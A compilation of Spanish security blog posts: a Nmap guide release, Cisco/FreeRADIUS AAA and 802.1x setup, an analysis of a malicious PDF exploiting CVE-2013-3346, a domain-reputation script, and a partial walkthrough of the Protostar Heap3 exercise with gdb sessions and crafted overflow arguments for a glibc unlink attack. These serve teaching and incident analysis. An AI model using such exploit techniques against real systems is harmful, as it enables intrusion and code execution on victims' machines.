(N.d.E. Hoy les traemos una presentación que nuestro compañero José Luis Chica, @bufferovercat, realizó en la MurciaLanParty’13, sobre el Bastionado de sistemas Linux. Esperamos que les guste.)
Liberada Guía Nmap 6 de CSIRT-cv y CCN
Hoy os traemos una guía muy interesante, realizada por @BufferOverCat y un servidor (@jovimon), que se ha liberado en los últimos días. La guía, fruto de la colaboración del Centro Criptológico Nacional (CCN) y el Centro de Seguridad TIC de la Comunidad Valenciana (CSIRT-cv), muestra de forma útil y práctica el funcionamiento de Nmap, detallando las técnicas que se pueden utilizar con este analizador de redes.
La guía se finalizó el verano del año pasado, poco tiempo después de la publicación de la versión 6.01 de Nmap, y ha estado hasta ahora únicamente disponible a través del portal del CCN para usuarios de administraciones públicas. Con la liberación de esta guía, única de este tipo que existe en Español, para el público general, se cubre un hueco que hasta ahora únicamente se podía cubrir con textos en otros idiomas.
Por si a estas alturas alguien aún no conoce Nmap, destacar que es sin lugar a dudas la herramienta más utilizada para realizar análisis de redes. Con ella se pueden realizar todo tipo de tareas, desde el descubrimiento de equipos y servicios disponibles en una red, a análisis avanzados que incluyan auditorías tanto a los equipos y servicios descubiertos como a cortafuegos o elementos intermedios de red que puedan interponerse en la comunicación. Es por ello que tanto por administradores de red como auditores de seguridad la utilizan de forma habitual.
La guía se compone de una completa documentación sobre las funcionalidades disponibles, que cubre las técnicas, tanto básicas como avanzadas, de: descubrimiento de equipos, análisis de puertos, optimización, rendimiento, etcétera, y se muestran procedimientos recomendados de actuación dependiendo de la tarea que se quiera realizar.
Además, se cubren dos de las principales mejoras que incluye esta versión: el soporte completo para IPv6 y el motor de scripting de Nmap (NSE: Nmap Scripting Engine), al que se dedica un tema entero. En este tema, se detalla el funcionamiento del motor y se dan directrices detalladas, tanto para entender los scripts ya creados como para crear nuevos scripts.
Aunque la versión actual de Nmap disponible para descarga es la 6.40, las diferencias con la versión de la guía son mínimas, ya que en los últimos tiempos los esfuerzos se centran en aumentar la cantidad de sistemas y servicios diferentes detectados, así como aumentar también las capacidades del motor NSE y el número de scripts que se ofrecen por defecto (actualmente más de 450).
La Guía Avanzada de Nmap está disponible en la sección de descargas del portal de CSIRT-cv y en la web del CCN.
Aplicación de AAA: Authentication, Authorization and Accounting (II)
Siguiendo con el post de ayer y tras ver las distintas funcionalidades que podemos configurar usando Radius como servidor AAA, podemos mejorar el sistema VPMS (Vlan Management Policy Server) visto en un post anterior, y poder autenticar los accesos a la red mediante el protocolo 802.1x, un estándar del IEEE para la autenticación de equipos conectados a una red mediante distintas tecnologías, de forma que se previene el acceso a la misma si la autenticación falla.
Para habilitar el protocolo 802.1x en nuestro dispositivo, primero debemos habilitar el servicio de forma global:
S2router(config)# dot1x system-auth-control
A continuación, activamos 802.1x en los puertos de acceso a red donde se conectan los usuarios. En nuestro caso simplemente una interfaz del router, pero seria extensible a un switch.
S2router(config)# interface fastethernet 0/1
S2router(config-if)# pae authenticator
S2router(config-if)# dot1x port-control auto
En este momento, el equipo conectado a dicho puerto perderá el acceso a red, posiblemente indicando un problema de autenticación.
El siguiente paso es configurar la autenticación 802.1x en el equipo cliente (en nuestro caso Windows XP), el cual, en estos momentos donde la autenticación ha fallado, podemos comprobar en el router que se encuentra en estado AUTHENTICATING ya que no se han proporcionado todavía las credenciales de acceso correctas:
S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Enabled
ReAuthPeriod = 120 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2
Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------
0023.8bd7.c2b3 AUTHENTICATING
Para configurar el equipo cliente, dentro de la configuración de las propiedades de red, seleccionamos la pestaña Autenticación (debemos tener activado el servicio de autoconfiguración de redes cableadas), activando la autenticación 802.1x y seleccionando desafío MD5 como método de autenticación, ya que no disponemos de infraestructura PKI en nuestra configuración.
Tras activar esta opción, aparece una ventana de autenticación de acceso a red propia de Windows, donde indicamos el usuario y contraseña definidos en el servidor radius (juanito). No es necesario indicar dominio.
Una vez el sistema valida las credenciales, podemos ver el equipo autenticado:
S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Disabled
ReAuthPeriod = 3600 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2
Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------
0023.8bd7.c2b3 AUTHENTICATED
Llegados a éste punto, el usuario final ya dispondría de acceso a la red con normalidad.
Esta solución es una medida de seguridad más a la hora de securizar nuestra red, y como siempre, debemos evaluar los pros y los contras de cada medida antes de ser implantada, tanto desde el punto de vista de seguridad, como desde el punto de vista de la transparencia de acceso del usuario, para que pueda realizar sus tareas diarias con normalidad.
Aplicación de AAA: Authentication, Authorization and Accounting
Recientemente, nuestro compañero Juan Manuel Sanz, ha publicado diversos artículos sobre el uso de servidores Radius como parte de una solución Wifi empresarial (ver I y II) Aparte de este uso, podemos usar Radius como servidor AAA (authentication, authorization and accounting) en nuestros dispositivos de red, como routers o switches, para el control de acceso a la misma. En este post, vamos a mostrar algunos ejemplos de uso de un servidor AAA.
El esquema de red que vamos a seguir es el siguiente:
En el esquema, podemos ver el router (Cisco 1800) como Autenticador, el servidor Freeradius como servidor de autenticación, y dos usuarios, un gestor de red que va a administrar el router por SSH y un usuario final del servicio.
Como pasos previos, vamos a configurar SSH como método de acceso al router y un usuario local del mismo (pepito):
router(config)# hostname S2router S2router(config)# ip domain-name s2grupo.es S2router(config)# crypto key generate rsa ## How many bits in the modulus [512]: 1024 S2router(config)# ip ssh time-out 60 S2router(config)# ip ssh authentication-retries 2 S2router(config)# aaa new-model S2router(config)# line vty 0 4 S2router(config-line)# transport input ssh S2router(config)# username pepito secret password
Una vez configurado, podemos comprobar el acceso sin problemas al dispositivo:
PC$ ssh pepito@172.18.0.200 ## Welcome ## pepito@172.18.0.200's password: ****** S2router> S2router# show ssh Connection Version Mode Encryption Hmac State Username 0 2.0 IN aes128-cbc hmac-md5 Session started pepito 0 2.0 OUT aes128-cbc hmac-md5 Session started pepito %No SSHv1 server connections running.
Authentication
En nuestro primer punto, vamos a usar el servidor Radius (172.18.0.155) para autenticar los accesos por SSH para la gestión del router; para ello, usamos el usuario juanito definido previamente por Juan Manuel, en el fichero users de radius, no obstante, no usaremos certificados en nuestra configuración. Con el usuario ya definido, añadiremos un nuevo cliente al fichero clients.conf que se corresponderá con el router de nuestra infraestructura.
client 172.18.0.200 { secret = password shortname = router nasstype = cisco }
A continuación, nos conectamos al dispositivo de red (por ejemplo mediante el usuario pepito) e indicamos que la autenticación va a usar el servidor radius. Para ello, seguimos los siguientes pasos:
1. Definimos el servidor radius:
S2router(config)# radius-server host 172.18.0.155 auth-port 1812 acct-port 1813 S2router(config)# radius-server deadtime 15 S2router(config)# radius-server key password
2. Configuramos el método de autenticación. Es importante configurar varios métodos de autenticación por si no esta disponible alguno de ellos, no perder el acceso al dispositivo. En este caso, el segundo método de autenticación es la base de datos local del propio equipo:
S2router(config)# aaa authentication login USUARIOS group radius local
3. Probamos el acceso desde la propia consola del dispositivo:
S2router#test aaa group radius juanito password legacy Attempting authentication test to server-group radius using radius User was successfully authenticated.
4. Configuramos el acceso al dispositivo por SSH autenticando mediante radius:
S2router(config)# line vty 0 4 S2router(config-line)# login authentication USUARIOS
5. Probamos el acceso desde el exterior por SSH:
PC$ ssh juanito@172.18.0.200 ## Welcome ## juanito@172.18.0.200's password: ****** S2router> S2router# show ssh Connection Version Mode Encryption Hmac State Username 0 2.0 IN aes128-cbc hmac-md5 Session started juanito 0 2.0 OUT aes128-cbc hmac-md5 Session started juanito %No SSHv1 server connections running.
Como se puede apreciar, accedemos correctamente y podemos ver log de radius para confirmarlo:
rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=17, length=99 User-Name = "juanito" Reply-Message = "Password: " User-Password = "password" NAS-Port = 194 NAS-Port-Id = "tty194" NAS-Port-Type = Virtual Calling-Station-Id = "172.18.0.150" NAS-IP-Address = 172.18.0.200 # Executing section authorize from file /etc/freeradius/sites-enabled/default +- entering group authorize {...} ++[preprocess] returns ok ++[chap] returns noop ++[mschap] returns noop ++[digest] returns noop [suffix] No '@' in User-Name = "juanito", looking up realm NULL [suffix] No such realm "NULL" ++[suffix] returns noop [eap] No EAP-Message, not doing EAP ++[eap] returns noop [files] users: Matched entry juanito at line 205 ++[files] returns ok ++[expiration] returns noop ++[logintime] returns noop ++[pap] returns updated Found Auth-Type = PAP # Executing group from file /etc/freeradius/sites-enabled/default +- entering group PAP {...} [pap] login attempt with password "password" [pap] Using clear text password "password" [pap] User authenticated successfully ++[pap] returns ok # Executing section post-auth from file /etc/freeradius/sites-enabled/default +- entering group post-auth {...} ++[exec] returns noop Sending Access-Accept of id 17 to 172.18.0.200 port 1645 Service-Type = NAS-Prompt-User Finished request 0. Going to the next request Waking up in 4.9 seconds. Cleaning up request 0 ID 17 with timestamp +10 Ready to process requests.
En este punto, el usuario juanito accede sin problemas pero pepito no, ya que no dispone de usuario dado de alta en el servidor radius, no obstante, si detenemos el servidor radius, pepito accederá pero juanito no, ya que usaremos la base de datos local del dispositivo, por eso, es importante disponer de varios métodos de autenticación.
Habitualmente, el acceso a la gestión de los dispositivos suele basarse en usuarios locales debido a que no debería existir demasiadas personas que gestionen el dispositivo, no obstante, podríamos usar el mismo ejemplo para validar usuarios y grupos de acceso VPN.
Authorization
La siguiente funcionalidad sería, para usuarios autenticados, poder autorizar que acciones puede realizar, por ejemplo, que comandos tienen disponibles para ejecutar en el dispositivo. Para nuestro escenario inicial, el usuario juanito no dispone de privilegios de administración del dispositivo:
PC$ ssh juanito@172.18.0.200 ## Welcome ## juanito@172.18.0.200's password: ****** S2router> show running-config ^ % Invalid input detected at '^' marker.
No obstante podemos definir permisos para un nivel de privilegios concretos y luego indicarle al servidor radius que asocie a un usuario a dicho nivel.
Primero, definimos permisos para el nivel 3 de privilegios del sistema:
S2router(config)# privilege exec level 3 show running-config S2router(config)# privilege exec level 3 configure terminal S2router(config)# privilege configure all level 3 interface
Con estos comandos, juanito, como operador de red, podría gestionar las interfaces de red y ver su configuración en el dispositivo. A continuación, definimos que el equipo use radius como sistema de autorización, al igual que hicimos en el apartado anterior:
S2router(config)# aaa authorization exec USUARIOS group radius local
Finalmente, lo asociamos el servidor de autorización a la conexión remota al dispositivo:
S2router(config)# line vty 0 4 S2router(config-ine )# authorization exec USUARIOS
Una vez configurado el dispositivo, modificamos la definición del usuario juanito indicando parámetros adicionales para su autorización para que disponga de privilegios de nivel 3:
juanito Cleartext-Password := "password" Service-Type = NAS-Prompt-User, Cisco-AVPair += "shell:priv-lvl=3",
De forma que la próxima vez que accede al dispositivo, ya se le aplicarán los nuevos permisos configurados:
PC$ ssh juanito@172.18.0.200 ## Welcome ## juanito@172.18.0.200's password: ****** S2router# show privilege Current privilege level is 3 S2router# show running-config Building configuration... -----
Como podemos ver, el prompt de usuario ha cambiado con respecto al punto anterior.
Accounting
La última opción es la de accounting. Personalmente, de las tres funcionalidades que hemos visto, ésta es la que menos he usado. También hay que tener en cuenta que hay algunos comandos en los dispositivos Cisco que no funcionan con servidores radius (por ejemplo el accounting de commands), sino que sólo se pueden configurar usando un servidor AAA tacacs+.
Para este apartado, la configuración será similar a la configurada anteriormente: hay que definir radius dentro de la configuración de accounting. Para nuestro ejemplo, definimos algunas opciones de accounting de acceso remoto:
S2router(config)# aaa accounting send stop-record authentication failure S2router(config)# aaa accounting update periodic 1 S2router(config)# aaa accounting exec USUARIOS start-stop group radius S2router(config)# aaa accounting network USUARIOS start-stop group radius
A continuación, aplicamos accounting para las conexiones remotas:
S2router(config)#line vty 0 4 S2router(config-line)# accounting exec USUARIOS
Ahora, al conectar al dispositivo, se registra un log de accesos, donde podemos ver información de los accesos remotos como el login de usuario, hora de conexión, dirección IP origen, etc.
PC# more /var/log/freeradius/radacct/172.18.0.200/detail-20131204 Wed Dec 4 11:31:04 2013 Acct-Session-Id = "00000048" User-Name = "juanito" Acct-Authentic = RADIUS Acct-Status-Type = Start NAS-Port = 194 NAS-Port-Id = "tty194" NAS-Port-Type = Virtual Calling-Station-Id = "172.18.0.150" Service-Type = NAS-Prompt-User NAS-IP-Address = 172.18.0.200 Acct-Delay-Time = 0 Acct-Unique-Session-Id = "245d0d9d5afc1a35" Timestamp = 1386153064 Request-Authenticator = Verified
Una solución de accounting sería útil por ejemplo, en un router con funcionalidades de gateway de voz, para llevar registro de llamadas y poder realizar una facturación posterior.
Análisis y extracción de PDF.Exploit/CVE-2013-5065
Recientemente se informó de una vulnerabilidad 0-day en el kernel de Windows XP que estaba siendo explotada activamente. Esta vulnerabilidad estaba siendo aprovechada utilizando código malicioso dentro de un archivo PDF, que se apoyaba en otra vulnerabilidad para comprometer el sistema.
Aprovechando que el otro día estuvimos viendo cómo utilizar peepdf para analizar y extraer código JavaScript y shellcode de un archivo PDF malicioso, voy a describir en este artículo el análisis que realicé de este archivo con peepdf y otras herramientas utilizadas hasta extraer el exploit que está siendo utilizado en la última vulnerabilidad para Windows XP.
Análisis del PDF
Lo primero que hacemos es abrir el archivo PDF y analizar su estructura

offsets…
y la estructura de árbol
A partir de la información anterior vemos que hay código JavaScript en el objeto 3, que se ejecuta automáticamente cuando se abre el archivo. Veamos qué pinta tiene:
Se observa que, efectivamente se trata de código JavaScript pero éste está ofuscado y, como veremos, nos va a costar descifrarlo un poco. Si guardamos el código en una variable y aplicamos el comando js_beatufy, obtendremos un código un poco más legible:
La verdad es que sigue igual de ofuscado y con peepdf no se ha podido extraer más información sobre él. Ahora utilizaremos Firebug para examinarlo aunque para poder mostrarlo correctamente vamos a hacer unas pequeñas modificaciones, por lo que lo volcamos a un fichero y seguimos con el análisis. La última línea de código parece una llamada a una función dentro de otra llamada a la misma función donde se le pasa ese código ininteligible, así que vamos a pasar ese código a la función Q.$() y la almacenamos en una variable arg1. A continuación, pasamos arg1 de nuevo a la misma función y la almacenamos en arg2. Esto lo hacemos para detener el código en tiempo de ejecución y poder ver qué es ese código desofuscado.
Abrimos el código con Firebug e insertamos un breakpoint en la última llamada y vemos el valor del código resultante:
El código, ahora sí, es legible y bastante explícito, ya que comienza definiendo una variable llamada “shellcode”. Además de la definición del shellcode, comprueba la versión de Adobe Reader (versiones 9, 10 u 11) para añadir el ROP adecuado para cada versión.
Posteriormente llama a la función heapSpray para, como su nombre indica, inyectar el shellcode en la memoria.
Finalmente llama a la función addToolButton de Adobe:
Buscando información sobre esta función, vemos que existe una vulnerabilidad en algunas versiones de Adobe Reader donde dichas funciones podrían ser aprovechadas para ejecutar código (ver CVE-2013-3346).
Aprovechando esa vulnerabilidad se consigue ejecutar el shellcode descrito en este código así que pasamos a examinar qué hace este shellcode.
Análisis con scdbg
Cargamos el código en scdbg y lo ejecutamos. Observamos que crea un archivo SHELLC~1.drop_0 y se queda a la espera, buscando un descriptor de archivo (esto ocurre porque intenta leer un archivo que no existe).
Pensamos que el archivo que podría estar buscando es el propio PDF, desde el que el exploit está siendo ejecutado, así que vamos a indicarle la ruta del archivo que tiene que abrir con el parámetro fopen, que devuelve como descriptor de fichero el archivo indicado.
Ahora vemos que deja otro archivo en la misma ubicación con el nombre SHELLC~1.drop_1 e intenta ejectuar otro archivo creado en C:\Documents and Settings\Administrador\Configuración local\Temp con el nombre 4.tmp (en este caso). Este último está vacío por lo que entiendo que el que trata de ejecutar es SHELLC~1.drop_1 así que vamos a abrirlo para ver qué contiene y vemos que se trata de un ejecutable.

Este último archivo descargado es el exploit que aprovecharía la vulnerabilidad CVE/2013-5065. A partir de este punto tendríamos que analizarlo para ver cómo aprovecha la vulnerabilidad y qué trata de realizar.
Hay más información sobre el análisis de este archivo en los siguientes enlaces:
http://www.fireeye.com/blog/technical/cyber-exploits/2013/12/cve-2013-33465065-technical-analysis.html
http://www.invincea.com/2013/12/e-k-i-a-adobe-reader-exploit-cve-2013-3346-kernel-ndproxy-sys-zero-day-eop/
http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/
Comprobación de la reputación Web para gestión de incidentes
A veces cuando nos enfrentamos a un incidente, alrededor de él hay demasiados dominios que comprobar como para hacerlo manualmente. Para poder manejarlos y hacer una discriminación en primera instancia, he desarrollado un pequeño script que comprueba la reputación de cada dominio utilizando la API de Web of Trust.
Web of Trust es un servicio que se usa para marcar páginas web dependiendo de su reputación. La reputación se basa en distintos factores. Uno de ellos depende de la presencia de malware, pero hay otros, como una puntuación basada en los votos de los usuarios.
Una de las cosas que más me gusta de la API de WoT es que devuelve diferentes códigos dependiendo de la razón por la que no tiene una buena reputación. Por ejemplo, si la razón por la que tiene mala reputación es debida a que el sitio contiene material para adultos, devolverá el código 401, mientras que si contiene malware, devolverá 101. Esto viene bien para gestionar algunos incidentes, ya que, en la mayoría de los casos, si un dominio tiene una mala reputación porque es una página para adultos, y sólo por eso, en una primera investigación, se podría dejar como un dominio legítimo.
Para usar el script, sólo necesitáis registraros en WoT, conseguir una clave de la API e introducir la clave en la línea:
WOT_API_KEY = "YOUR_OWN_API_KEY!!!"
Puedes encontrar el script en mi repositorio de Github.
Por último, vamos a probar el script. Para ello, necesitaremos un fichero con la lista de dominios que queremos comprobar. En el ejemplo utilizaremos un fichero que he llamado domains.txt y que contiene los siguientes dominios:
4chan.org silurian.cn securityartwork.es mtgmadness.com
Para lanzar el script solo hay que pasarle el fichero con la lista de dominios a comprobar:
xgusix@ender:~$ python repcrawler.py domains.txt [*] mtgmadness.com Target: mtgmadness.com [*] 4chan.org Target: 4chan.org Trustworthiness: Excellent [59] Child safety: Very Poor [53] [*] Categories: [403] Questionable Gruesome or shocking [14] [401] Negative Adult content [73] [501] Positive Good site [59] [*] securityartwork.es Trustworthiness: Good [7] Target: securityartwork.es [*] Categories: [501] Positive Good site [7] [*] silurian.cn Target: silurian.cn Trustworthiness: Very Poor [12] [*] Categories: [101] Negative Malware or viruses [30]
Como podéis ver, al comienzo de la investigación, podemos descartar 4chan.org y securityartwork.es, ya que están marcadas como “Good site” y su confianza (Trustworthiness) es por lo menos Good. Mtgmadness.com no está marcado, por lo que tendríamos que continuar con la investigación de estos dominios. En el último caso, silurian.cn, ya está marcada como dominio malintencionado, “Malware or viruses”, por lo que sería un buen punto de partida para la investigación.
Ahora mismo, el script muestra todos los resultados, pero con una modificación muy simple se le puede añadir algo de lógica y automatizar un poco más el proceso. Tengo planeado añadir más motores de reputación al script. Con más fuentes la discriminación será más efectiva y ahorrará tiempo en el proceso de la gestión del incidente.
Los comentarios y valoraciones son bienvenidos.
Resolución al ejercicio Heap03 de exploit-exercises.com
Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).
En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).
Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); }
Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.
Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).
Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:

La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.
Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:
? a is at 0x804c008 ? b is at 0x804c030 ? c is at 0x804c058
Veamos un ejemplo de cómo localizar el puntero de la variable c:
(gdb) ni 0x080488b9 18 in heap3/heap3.c 1: x/3i $pc 0x80488b9 <main+48>: call 0x8048ff2 <malloc> <- lanzamos el malloc 0x80488be <main+53>: mov %eax,0x1c(%esp) 0x80488c2 <main+57>: mov 0xc(%ebp),%eax (gdb) ni 0x080488be 18 in heap3/heap3.c 1: x/3i $pc 0x80488be <main+53>: mov %eax,0x1c(%esp) 0x80488c2 <main+57>: mov 0xc(%ebp),%eax 0x80488c5 <main+60>: add $0x4,%eax (gdb) i r eax 0x804c058 134529112 <- Variable c ecx 0xf88 3976 edx 0xf89 3977 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff770 0xbffff770 ebp 0xbffff798 0xbffff798 esi 0x0 0 edi 0x0 0 eip 0x80488be 0x80488be <main+53> eflags 0x200286 [ PF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:
# Colocamos el breakpoint en la línea 24 que es justo antes del primer free() (gdb) break 24 (gdb) run AAAAAAAA BBBBBBBB CCCCCCCC # Una vez se para examinamos la memoria (gdb) x/34x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).
Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:
(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"` (gdb) x/34x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x45454545 0x45454545 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000
Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.
Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.
Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.
Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.
Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:

Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.
Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:
1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8
Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:
(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C
Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:
(gdb) i r eax 0x42424242 1111638594 ecx 0x0 0 edx 0x43434343 1128481603 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6e0 0xbffff6e0 ebp 0xbffff728 0xbffff728 esi 0x0 0 edi 0x0 0 eip 0x80498fd 0x80498fd <free+217> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Y si observamos la instrucción que hay cargada en $eip , tenemos que:
0x80498fd <free+217>: mov %edx,0xc(%eax)
Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.
En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.
Para empezar examinamos la tabla dinámica:
